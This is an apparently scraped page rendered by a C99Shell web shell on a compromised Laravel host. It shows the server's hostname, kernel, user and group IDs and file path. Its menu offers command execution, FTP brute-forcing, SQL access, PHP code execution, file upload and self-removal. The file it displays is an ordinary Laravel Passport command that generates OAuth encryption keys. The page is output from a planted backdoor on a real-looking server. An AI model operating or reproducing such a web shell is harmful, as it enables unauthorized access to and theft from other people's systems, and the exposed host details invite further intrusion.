!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/vendor/laravel/passport/src/Console/   drwxr-xr-x
Free 28.45 GB of 117.98 GB (24.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     KeysCommand.php (1.86 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Passport\Console;

use 
Illuminate\Console\Command;
use 
Illuminate\Support\Arr;
use 
Laravel\Passport\Passport;
use 
phpseclib\Crypt\RSA as LegacyRSA;
use 
phpseclib3\Crypt\RSA;

class 
KeysCommand extends Command
{
    
/**
     * The name and signature of the console command.
     *
     * @var string
     */
    
protected $signature 'passport:keys
                                      {--force : Overwrite keys they already exist}
                                      {--length=4096 : The length of the private key}'
;

    
/**
     * The console command description.
     *
     * @var string
     */
    
protected $description 'Create the encryption keys for API authentication';

    
/**
     * Execute the console command.
     *
     * @return int
     */
    
public function handle()
    {
        [
$publicKey$privateKey] = [
            
Passport::keyPath('oauth-public.key'),
            
Passport::keyPath('oauth-private.key'),
        ];

        if ((
file_exists($publicKey) || file_exists($privateKey)) && ! $this->option('force')) {
            
$this->error('Encryption keys already exist. Use the --force option to overwrite them.');

            return 
1;
        } else {
            if (
class_exists(LegacyRSA::class)) {
                
$keys = (new LegacyRSA)->createKey($this->input ? (int) $this->option('length') : 4096);

                
file_put_contents($publicKeyArr::get($keys'publickey'));
                
file_put_contents($privateKeyArr::get($keys'privatekey'));
            } else {
                
$key RSA::createKey($this->input ? (int) $this->option('length') : 4096);

                
file_put_contents($publicKey, (string) $key->getPublicKey());
                
file_put_contents($privateKey, (string) $key);
            }

            
$this->info('Encryption keys generated successfully.');
        }

        return 
0;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--